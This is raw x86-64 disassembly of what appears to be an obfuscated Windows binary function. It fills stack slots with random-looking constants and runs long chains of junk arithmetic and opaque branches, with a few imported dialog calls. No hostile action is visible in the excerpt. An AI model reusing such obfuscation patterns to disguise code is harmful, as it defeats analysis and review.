movabs rax, 0x21737100b9eedf34
mov qword [rsp + 0x4a90], rax
mov byte [rsp + 0xc0], 0x52
mov eax, 0x4607
mov word [rsp + 0xa50], ax
movabs rax, 0xc4b4a98689f1036
mov qword [rsp + 0x4a98], rax
mov byte [rsp + 0xc1], 0x4d
mov dword [rsp + 0x2918], 0x217f45a3
mov byte [rsp + 0xc2], 0x58
mov dword [rsp + 0x291c], 0x7b5b860a
movabs rax, 0x1d0ad7364fac1526
mov qword [rsp + 0x4aa0], rax
mov dword [rsp + 0x2920], 0xb097a1b3
mov dword [rsp + 0x2924], 0x6001f650
mov byte [rsp + 0xc3], 0xbc
movabs rax, 0x787817f23921d064
mov qword [rsp + 0x4aa8], rax
mov byte [rsp + 0xc4], 0x53
mov byte [rsp + 0xc5], 0x50
mov byte [rsp + 0xc6], 0x11
mov dword [rsp + 0x2928], 0x6f6a136d
mov dword [rsp + 0x292c], 0x649565a5
mov byte [rsp + 0xc7], 0xeb
mov byte [rsp + 0xc8], reloc.COMCTL32.dll_MakeDragList
movabs rax, 0x6b9f04d2b9956f05
mov qword [rsp + 0x4ab0], rax
mov eax, 0x4201
mov word [rsp + 0xa54], ax
mov byte [rsp + 0xc9], 0x62
mov dword [rsp + 0x2930], 0x30cd3f43
mov byte [rsp + 0xca], 0x1a
movabs rax, 0x6855f356c68b0564
mov qword [rsp + 0x4ab8], rax
mov eax, 0x5fa
mov word [rsp + 0xa58], ax
mov byte [rsp + 0xcb], 0x4c
mov dword [rsp + 0x2934], 0x6f80bdf8
mov dword [rsp + 0x2938], 0x474d1040
mov eax, 0x14cd
mov word [rsp + 0xa5c], ax
mov eax, 0x3da4
mov word [rsp + 0xa60], ax
movabs rax, 0x57c0cd32fafdf204
mov qword [rsp + 0x4ac0], rax
mov byte [rsp + 0xcc], 0x29
movabs rax, 0x48ce566d46c6b4a2
mov qword [rsp + 0x4ac8], rax
mov byte [rsp + 0xcd], 0x56
movabs rax, 0x65c43e6acef892b8
mov qword [rsp + 0x4ad0], rax
movabs rax, 0x846d5dacc118ef90
mov qword [rsp + 0x4ad8], rax
mov eax, 0x1502
mov word [rsp + 0xa64], ax
movabs rax, 0x286e5018778f7b9d
mov qword [rsp + 0x4ae0], rax
mov byte [rsp + 0xce], 0xb5
mov dword [rsp + 0x293c], 0x77533488
movabs rax, 0x60d2bfbd4972c3ee
mov qword [rsp + 0x4ae8], rax
mov dword [rsp + 0x2940], 0xfd78adc7
mov eax, 0x3332
mov word [rsp + 0xa68], ax
mov dword [rsp + 0x2944], 0x2e68ac4d
movabs rax, 0x7ca57719bda9cf25
mov qword [rsp + 0x4af0], rax
mov dword [rsp + 0x2948], 0xea70717c
mov eax, 0x5764
mov word [rsp + 0xa6c], ax
mov byte [rsp + 0xcf], pe_nt_image_headers64
mov dword [rsp + 0x294c], 0xc6fc6b46
mov eax, 0xb42
mov word [rsp + 0xa70], ax
mov dword [rsp + 0x2950], 0x425a4689
mov byte [rsp + 0xd0], 0x60
mov byte [rsp + 0xd1], 0xca
mov dword [rsp + 0x2954], 0x21a7a84e
mov byte [rsp + 0xd2], 0x98
mov byte [rsp + 0xd3], 0x54
mov eax, 0xa55
mov word [rsp + 0xa74], ax
mov dword [rsp + 0x2958], 0x4d193639
mov byte [rsp + 0xd4], 0x35
mov eax, 0x2177
mov word [rsp + 0xa78], ax
mov dword [rsp + 0x295c], 0xafc82edb
movabs rax, 0x71f10e45dd8075ce
mov qword [rsp + 0x4af8], rax
mov eax, 0x1db
mov word [rsp + 0xa7c], ax
mov dword [rsp + 0x2960], 0x7c19d7bf
mov dword [rsp + 0x2964], 0x1acf6ca4
mov byte [rsp + 0xd5], 0x2b
mov eax, 0xbb
mov word [rsp + 0xa80], ax
mov dword [rsp + 0x2968], 0x543c33c8
mov dword [rsp + 0x296c], 0x4186a374
movabs rax, 0x9d1a86ac21636c8b
mov qword [rsp + 0x4b00], rax
movabs rax, 0x739911a76eecc566
mov qword [rsp + 0x4b08], rax
movabs rax, 0xac53721da3877ffd
mov qword [rsp + 0x4b10], rax
mov dword [rsp + 0x2970], 0xe986196b
mov eax, 0x3d6
mov word [rsp + 0xa84], ax
mov byte [rsp + 0xd6], 0xa6
mov dword [rsp + 0x2974], 0x320704c4
mov byte [rsp + 0xd7], 0x4f
mov eax, 0xa27
mov word [rsp + 0xa88], ax
mov byte [rsp + 0xd8], 0x39
mov eax, 0x597
mov word [rsp + 0xa8c], ax
movabs rax, 0x739779d2029c285a
mov qword [rsp + 0x4b18], rax
mov eax, 0xb94
mov word [rsp + 0xa90], ax
mov byte [rsp + 0xd9], 0x67
mov dword [rsp + 0x2978], 0x3cfaa4df
mov eax, 0x3fe6
mov word [rsp + 0xa94], ax
mov dword [rsp + 0x297c], 0x3bfa0cc8
mov byte [rsp + 0xda], 0x42
mov byte [rsp + 0xdb], 0x7a
mov eax, 0xe8f
mov word [rsp + 0xa98], ax
movabs rax, 0x476e5ab9b2db4fed
mov qword [rsp + 0x4b20], rax
movabs rax, 0x79cdb38c33a23aac
mov qword [rsp + 0x4b28], rax
mov dword [rsp + 0x2980], 0x2ca231dd
movabs rax, 0x4f82e3d1fcbc9e18
mov qword [rsp + 0x4b30], rax
mov dword [rsp + 0x2984], 0x3aad4f05
mov dword [rsp + 0x2988], 0x29da15dd
mov dword [rsp + 0x298c], 0xde38603
mov byte [rsp + 0xdc], 0x41
movabs rax, 0x454fccdadfc55b4d
mov qword [rsp + 0x4b38], rax
mov eax, 0xdae
mov word [rsp + 0xa9c], ax
mov dword [rsp + 0x2990], 0x79589fef
mov byte [rsp + 0xdd], 0x3e
mov dword [rsp + 0x2994], 0x6f026dc4
mov byte [rsp + 0xde], 0x62
movabs rax, 0xc315e90f98fd5265
mov qword [rsp + 0x4b40], rax
movabs rax, 0x967d15b7e0b557b3
mov qword [rsp + 0x4b48], rax
mov eax, 0x5d89
mov word [rsp + 0xaa0], ax
mov dword [rsp + 0x2998], 0x232f86d3
mov dword [rsp + 0x299c], 0x3e59d59e
mov byte [rsp + 0xdf], 0x47
movabs rax, 0x543f803abe6132aa
mov qword [rsp + 0x4b50], rax
mov byte [rsp + 0xe0], 0x4b
movabs rax, 0x286442c2b33dbfda
mov qword [rsp + 0x4b58], rax
mov dword [rsp + 0x29a0], 0xdc4859a
mov eax, 0x27fb
mov word [rsp + 0xaa4], ax
mov byte [rsp + 0xe1], 0x52
mov eax, 0xa9
mov word [rsp + 0xaa8], ax
mov eax, 0x449e
mov word [rsp + 0xaac], ax
mov dword [rsp + 0x29a4], 0x3ef6e24c
movabs rax, 0x8e19f5d08c433496
mov qword [rsp + 0x4b60], rax
mov dword [rsp + 0x29a8], 0x7497bdba
mov dword [rsp + 0x29ac], 0x6021b110
mov byte [rsp + 0xe2], 0xf8
mov byte [rsp + 0xe3], 0x6b
mov dword [rsp + 0x29b0], 0x86a30ea1
mov byte [rsp + 0xe4], 0x22
mov dword [rsp + 0x29b4], 0x25a45c2c
mov eax, 0x1c5
mov word [rsp + 0xab0], ax
mov eax, 0x7cf
mov word [rsp + 0xab4], ax
movabs rax, 0x1aa8f28290288a85
mov qword [rsp + 0x4b68], rax
mov eax, 0xf9b
mov word [rsp + 0xab8], ax
movabs rax, 0x2e486a227bdeef16
mov qword [rsp + 0x4b70], rax
mov dword [rsp + 0x29b8], 0x95300206
mov byte [rsp + 0xe5], 0xf2
mov byte [rsp + 0xe6], 0x6a
movabs rax, 0xff817f416a6f2dbe
mov qword [rsp + 0x4b78], rax
mov byte [rsp + 0xe7], 0x3a
mov eax, 0xaf6
mov word [rsp + 0xabc], ax
mov eax, 0xd1d
mov word [rsp + 0xac0], ax
mov dword [rsp + 0x29bc], 0x2ad74d90
movabs rax, 0x3511f08d5afa5395
mov qword [rsp + 0x4b80], rax
mov eax, 0xce7
mov word [rsp + 0xac4], ax
mov dword [rsp + 0x29c0], 0xb7c59af8
mov eax, 0x5541
mov word [rsp + 0xac8], ax
mov dword [rsp + 0x29c4], 0xfc762a2c
mov eax, 0x5d
mov word [rsp + 0xacc], ax
movabs rax, 0x71e8fcfac479b95c
mov qword [rsp + 0x4b88], rax
mov byte [rsp + 0xe8], 0x2a
mov byte [rsp + 0xe9], 6
mov byte [rsp + 0xea], 0xa7
mov dword [rsp + 0x29c8], 0x1f4e9a24
mov eax, 0x583c
mov word [rsp + 0xad0], ax
mov dword [rsp + 0x29cc], 0x5da14729
mov eax, 0xcc1
mov word [rsp + 0xad4], ax
mov byte [rsp + 0xeb], 0xf8
mov byte [rsp + 0xec], 0x7a
mov dword [rsp + 0x29d0], 0xd070a8c8
mov byte [rsp + 0xed], 0x10
mov eax, 0x642a
mov word [rsp + 0xad8], ax
mov eax, 0x5bf7
mov word [rsp + 0xadc], ax
movabs rax, 0x4e4b5e82d52c6aff
mov qword [rsp + 0x4b90], rax
mov byte [rsp + 0xee], 0x68
mov byte [rsp + 0xef], 0x4a
mov byte [rsp + 0xf0], 0x4e
movabs rax, 0x26514011f2a9e95b
mov qword [rsp + 0x4b98], rax
mov byte [rsp + 0xf1], 0x1b
movabs rax, 0x1aa265ae7947cacc
mov qword [rsp + 0x4ba0], rax
mov dword [rsp + 0x29d4], 0x625d4b10
mov eax, 0xd97
mov word [rsp + 0xae0], ax
mov eax, 0x425
mov word [rsp + 0xae4], ax
mov dword [rsp + 0x29d8], 0x47df5b1e
mov eax, 0x1d2a
mov word [rsp + 0xae8], ax
mov eax, 0x200
mov word [rsp + 0xaec], ax
mov dword [rsp + 0x29dc], 0x4edbfc36
mov byte [rsp + 0xf2], 0xfd
mov dword [rsp + 0x29e0], 0x7328d802
mov dword [rsp + 0x29e4], 0x3b77bf24
mov eax, 0x9b3
mov word [rsp + 0xaf0], ax
mov eax, 0x1c03
mov word [rsp + 0xaf4], ax
mov eax, 0xdad
mov word [rsp + 0xaf8], ax
mov dword [rsp + 0x29e8], 0x2fcf93cf
mov eax, 0x1163
mov word [rsp + 0xafc], ax
mov byte [rsp + 0xf3], 0x64
mov eax, 0x3e5
mov word [rsp + 0xb00], ax
movabs rax, 0xe97f27e3579aa313
mov qword [rsp + 0x4ba8], rax
mov dword [rsp + 0x29ec], 0x2b14c6d7
mov dword [rsp + 0x29f0], 0x4aa999e5
mov eax, 0x5e9c
mov word [rsp + 0xb04], ax
mov byte [rsp + 0xf4], 0x1b
mov byte [rsp + 0xf5], 0x1c
mov eax, 0xf1b
mov word [rsp + 0xb08], ax
movabs rax, 0xd28c96b3df66aa90
mov qword [rsp + 0x4bb0], rax
mov dword [rsp + 0x29f4], 0x1d8f56cf
mov dword [rsp + 0x29f8], 0x49d8fd06
movabs rax, 0x9f29e6f61d6f2e5b
mov qword [rsp + 0x4bb8], rax
mov eax, 0x3ebd
mov word [rsp + 0xb0c], ax
mov byte [rsp + 0xf6], 7
mov dword [rsp + 0x29fc], 0x2f385eb2
mov eax, 0x7e
mov word [rsp + 0xb10], ax
movabs rax, 0x60b78d380e9f9da1
mov qword [rsp + 0x4bc0], rax
movabs rax, 0x1133a45ea1d77a9d
mov qword [rsp + 0x4bc8], rax
mov dword [rsp + 0x2a00], 0xef1f11b1
mov byte [rsp + 0xf7], 0x85
mov byte [rsp + 0xf8], 0
mov eax, 0xe7d
mov word [rsp + 0xb14], ax
mov dword [rsp + 0x2a04], 0x691937b9
movabs rax, 0xefcb73ec6be93968
mov qword [rsp + 0x4bd0], rax
mov byte [rsp + 0xf9], 0x6d
mov byte [rsp + 0xfa], 0xd0
movabs rax, 0xc0acece2232a7729
mov qword [rsp + 0x4bd8], rax
movabs rax, 0x1de49639a3f77d28
mov qword [rsp + 0x4be0], rax
mov dword [rsp + 0x2a08], 0xadf155ae
mov eax, 0x2b0
mov word [rsp + 0xb18], ax
mov byte [rsp + 0xfb], 0x11
mov dword [rsp + 0x2a0c], 0x8e24e005
mov dword [rsp + 0x2a10], 0x7b65b3da
mov eax, 0x2fd
mov word [rsp + 0xb1c], ax
movabs rax, 0x7f9411afed05cf3d
mov qword [rsp + 0x4be8], rax
mov dword [rsp + 0x2a14], 0xf8d5ca24
movabs rax, 0xc348bd1e7610a7eb
mov qword [rsp + 0x4bf0], rax
mov eax, 0x3e61
mov word [rsp + 0xb20], ax
mov byte [rsp + 0xfc], 0x21
mov byte [rsp + 0xfd], 0x19
mov eax, 0xd38
mov word [rsp + 0xb24], ax
mov dword [rsp + 0x2a18], 0xa252978f
movabs rax, 0xd3467281c44f7a8d
mov qword [rsp + 0x4bf8], rax
mov byte [rsp + 0xfe], 0x62
mov byte [rsp + 0xff], 0x50
mov byte [rsp + 0x100], 0x4b
movabs rax, 0xd0ec1ae05bf3ac81
mov qword [rsp + 0x4c00], rax
mov byte [rsp + 0x101], 0xe3
movabs rax, 0xda2507801236aac
mov qword [rsp + 0x4c08], rax
mov eax, 0x5a21
mov word [rsp + 0xb28], ax
mov eax, 0x7243
mov word [rsp + 0xb2c], ax
mov dword [rsp + 0x2a1c], 0xd3df25a2
mov byte [rsp + 0x102], 0x55
movabs rax, 0xf2a94548571dcdbd
mov qword [rsp + 0x4c10], rax
mov eax, 0x42b5
mov word [rsp + 0xb30], ax
movabs rax, 0x23bbebe3b5874d04
mov qword [rsp + 0x4c18], rax
mov byte [rsp + 0x103], 0xf7
movabs rax, 0x12a91218083f7e93
mov qword [rsp + 0x4c20], rax
mov dword [rsp + 0x2a20], 0x696a5dd1
mov byte [rsp + 0x104], 0x62
mov dword [rsp + 0x2a24], 0x2d576931
mov dword [rsp + 0x2a28], 0x79e42e5
movabs rax, 0xbbe4ce679a50c75a
mov qword [rsp + 0x4c28], rax
movabs rax, 0x184b0f3663db99c0
mov qword [rsp + 0x4c30], rax
mov eax, 0x57d9
mov word [rsp + 0xb34], ax
movabs rax, 0x59b5b7f0433d325
mov qword [rsp + 0x4c38], rax
mov byte [rsp + 0x105], 0x7f
mov byte [rsp + 0x106], 0x79
mov dword [rsp + 0x2a2c], 0x3be5025f
mov dword [rsp + 0x2a30], 0x4f143f8f
movabs rax, 0x78929b4f5556eaa3
mov qword [rsp + 0x4c40], rax
movabs rax, 0x246a09e6f9d23f6e
mov qword [rsp + 0x4c48], rax
mov byte [rsp + 0x107], 0xba
mov dword [rsp + 0x2a34], 0x77c66209
mov dword [rsp + 0x2a38], 0x5416899a
mov byte [rsp + 0x108], 0xbc
mov eax, 0x366b
mov word [rsp + 0xb38], ax
mov byte [rsp + 0x109], 0x2c
mov dword [rsp + 0x2a3c], 0x238c275d
movabs rax, 0x5cba39f6702ad72e
mov qword [rsp + 0x4c50], rax
mov eax, 0x8be
mov word [rsp + 0xb3c], ax
mov byte [rsp + 0x10a], 3
mov byte [rsp + 0x10b], 0x1a
mov dword [rsp + 0x2a40], 0x250f830a
mov dword [rsp + 0x2a44], 0xd3f452d3
movabs rax, 0xcc373f1a457581cc
mov qword [rsp + 0x4c58], rax
mov dword [rsp + 0x2a48], 0x361a0f20
movabs rax, 0xab7e362bd7d1580c
mov qword [rsp + 0x4c60], rax
mov dword [rsp + 0x2a4c], 0xab60ff8
mov byte [rsp + 0x10c], 0x74
mov eax, 0x84b
mov word [rsp + 0xb40], ax
mov eax, 0x811
mov word [rsp + 0xb44], ax
mov dword [rsp + 0x2a50], 0x2db754e4
mov eax, 0x928
mov word [rsp + 0xb48], ax
mov dword [rsp + 0x2a54], 0xfb0b8c8f
mov eax, 0x7f1f
mov word [rsp + 0xb4c], ax
mov dword [rsp + 0x2a58], 0xfe7ed15a
movabs rax, 0x78cfe595426df2c
mov qword [rsp + 0x4c68], rax
mov dword [rsp + 0x2a5c], 0x71ef30c4
mov eax, 0xee9
mov word [rsp + 0xb50], ax
mov byte [rsp + 0x10d], 0x3e
mov byte [rsp + 0x10e], 0x74
mov byte [rsp + 0x10f], 0x24
mov byte [rsp + 0x110], 0x69
mov byte [rsp + 0x111], 0x28
movabs rax, 0xaf326294ac6d5568
mov qword [rsp + 0x4c70], rax
mov dword [rsp + 0x2a60], 0x1db628ba
mov eax, 0xff3
mov word [rsp + 0xb54], ax
mov dword [rsp + 0x2a64], 0x29c6a3c7
mov byte [rsp + 0x112], 0x63
movabs rax, 0x54eb97175b9e0e21
mov qword [rsp + 0x4c78], rax
movabs rax, 0x202b450ddaabc8b2
mov qword [rsp + 0x4c80], rax
mov byte [rsp + 0x113], 0x29
movabs rax, 0x7eaeaceef1105de7
mov qword [rsp + 0x4c88], rax
movabs rax, 0xc2fdf7c84b0ecc80
mov qword [rsp + 0x4c90], rax
mov eax, 0x6da
mov word [rsp + 0xb58], ax
mov byte [rsp + 0x114], 0x7b
mov byte [rsp + 0x115], 0xa1
movabs rax, 0x70d76c5063bf74e3
mov qword [rsp + 0x4c98], rax
mov eax, 0x7c1
mov word [rsp + 0xb5c], ax
mov dword [rsp + 0x2a68], 0x70d35b3c
mov dword [rsp + 0x2a6c], 0x7b375868
movabs rax, 0x4070194e747ad80f
mov qword [rsp + 0x4ca0], rax
mov eax, 0x75d2
mov word [rsp + 0xb60], ax
mov byte [rsp + 0x116], 0x16
mov eax, 0xde3
mov word [rsp + 0xb64], ax
movabs rax, 0x36840b069c45ea2
mov qword [rsp + 0x4ca8], rax
movabs rax, 0x4113ddc81fcf4faf
mov qword [rsp + 0x4cb0], rax
mov dword [rsp + 0x2a70], 0xa4427fc
mov eax, 0xcaa
mov word [rsp + 0xb68], ax
mov byte [rsp + 0x117], 0x8f
mov byte [rsp + 0x118], 0x6d
mov byte [rsp + 0x119], 0x30
mov byte [rsp + 0x11a], 0x8e
movabs rax, 0x2969a36b4d8941a0
mov qword [rsp + 0x4cb8], rax
mov eax, 0xb9a
mov word [rsp + 0xb6c], ax
mov eax, 0x3ce1
mov word [rsp + 0xb70], ax
mov eax, 0xe50
mov word [rsp + 0xb74], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20de0]
call fcn.140155520
mov eax, 0x5f35
mov word [rsp + 0xb78], ax
mov eax, 0x16e7
mov word [rsp + 0xb7c], ax
mov dword [rsp + 0x2a74], 0xca732b77
mov dword [rsp + 0x2a78], 0x492f5487
mov byte [rsp + 0x11b], 0x4c
mov dword [rsp + 0x2a7c], 0x116
mov dword [rsp + 0x2a80], 0x13b74
movzx eax, byte [rsp + 0x11b]
mov byte [rsp + 0x2a84], al
cmp byte [rsp + 0x2a84], 0x4c
je 0x1400038d7
cmp byte [rsp + 0x2a84], 0x55
je 0x140154416
jmp 0x140154439
cmp dword [rsp + 0x2a80], 0xf46d
jb 0x140003bed
mov eax, 0x1d8a
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
add eax, 0x57
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0xc
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x69
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
xor eax, 0x69
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
shl eax, 4
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sar eax, 1
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
or eax, 0x69
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x28
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x3b
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x7b
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x2d
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x6d
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x79
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x49
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
xor eax, 0x5b
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
or eax, 0x12
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
shl eax, 5
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
sar eax, 1
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
and eax, 0x38
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x33
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x2a80]
sub eax, 0xd1
mov dword [rsp + 0x2a80], eax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x7a
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
add eax, 0x67a3
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x3d
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
and eax, 0x3fb3
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x50
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
add eax, 0x152
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
add eax, 0x31
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
sub eax, 0x4b92
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
or eax, 3
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
shl eax, 6
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
sar eax, 0xf
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
xor eax, 0x72
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x6f
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x61
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x3e
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x68
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
add eax, 0xb
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
add eax, 0x15
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
and eax, 0x4a88
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x4e
mov byte [rsp + 0x11b], al
jmp 0x1400038d7
cmp dword [rsp + 0x2a7c], 0x2d3d
ja 0x140003e8b
movsx eax, byte [rsp + 0x11b]
add eax, 0x30
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x6c
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sar eax, 1
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
or eax, 0x6a44
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
shl eax, 5
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
xor eax, 0x43d2
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
and eax, 0x60
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x2a7c]
add eax, 0x7f
mov dword [rsp + 0x2a7c], eax
movsx eax, byte [rsp + 0x11b]
add eax, 0x75
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x56
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x59
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
sub eax, 0x1c85
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
add eax, 0x6e
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
sub eax, 0x7705
mov word [rsp + 0xb80], ax
movsx eax, word [rsp + 0xb80]
and eax, 0x5961
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x50
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
xor eax, 0x12
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
shl eax, 3
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
sar eax, 4
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
or eax, 0x24
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x35
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x3e
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
sub eax, 0x4a4f
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
add eax, 0xa
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x3c
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x62
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x41
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
add eax, 0x2cc1
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x41
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x62
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
xor eax, 0x68
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
or eax, 0xa
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
shl eax, 1
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
sar eax, 1
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x25
mov byte [rsp + 0x11b], al
jmp 0x140003bed
movsx eax, byte [rsp + 0x11b]
cmp eax, 6
jl 0x140003fb8
movsx eax, word [rsp + 0xb80]
sub eax, 0x3e5d
mov word [rsp + 0xa14], ax
mov byte [rsp + 0x11c], 0xe9
mov dword [rsp + 0x2a88], 0x9752
mov dword [rsp + 0x2a8c], 0x7eac
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x2a90], al
cmp byte [rsp + 0x2a90], 0x4e
je 0x140003f63
cmp byte [rsp + 0x2a90], 0xe9
je 0x140003ef7
jmp 0x140003fad
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x4cc0], rax
mov dword [rsp + 0x2a94], 0x59a9
mov eax, 0xd11
mov word [rsp + 0xb84], ax
mov eax, dword [section..data]
and eax, 0x220a7ac9
mov dword [section..data], eax
mov dword [rsp + 0x2a98], 0x115f3
mov dword [rsp + 0x2a9c], 0x2d97
lea rax, [rsp + 0x11b]
mov qword [rsp + 0x4cc8], rax
mov dword [rsp + 0x2aa0], 0xc56c
jmp 0x140003fad
lea rcx, [rsp + 0x211c0]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0x2aa4], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
add eax, 0x37
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov dword [rsp + 0x2aa8], 0x3c5e
mov dword [rsp + 0x2aac], 0x9d5d
movabs rax, 0x1faff52f031d2e5d
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov dword [rsp + 0x2ab0], eax
cmp dword [rsp + 0x2ab0], 0x6272
je 0x140003ff9
jmp 0x1401543f6
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movzx ecx, byte [rsp + 0x11b]
mov byte [rax], cl
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2aac]
add eax, 0xfe
mov dword [rsp + 0x2aac], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
add eax, 0x56
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb80], ax
movzx eax, word [rsp + 0xb84]
shl eax, 5
mov word [rsp + 0xb84], ax
movzx eax, word [rsp + 0xb84]
xor eax, 0xd06
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4cd0]
shr rax, 0x3c
mov qword [rsp + 0x4cd0], rax
movsx eax, byte [rsp + 0x11b]
and eax, 0x19
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov eax, dword [section..data]
add eax, 0xe2ec6044
mov dword [section..data], eax
movzx eax, byte [rsp + 0x11c]
and eax, 0x39
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
sub eax, 0x2f
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
add eax, 0x174
mov word [rsp + 0xb84], ax
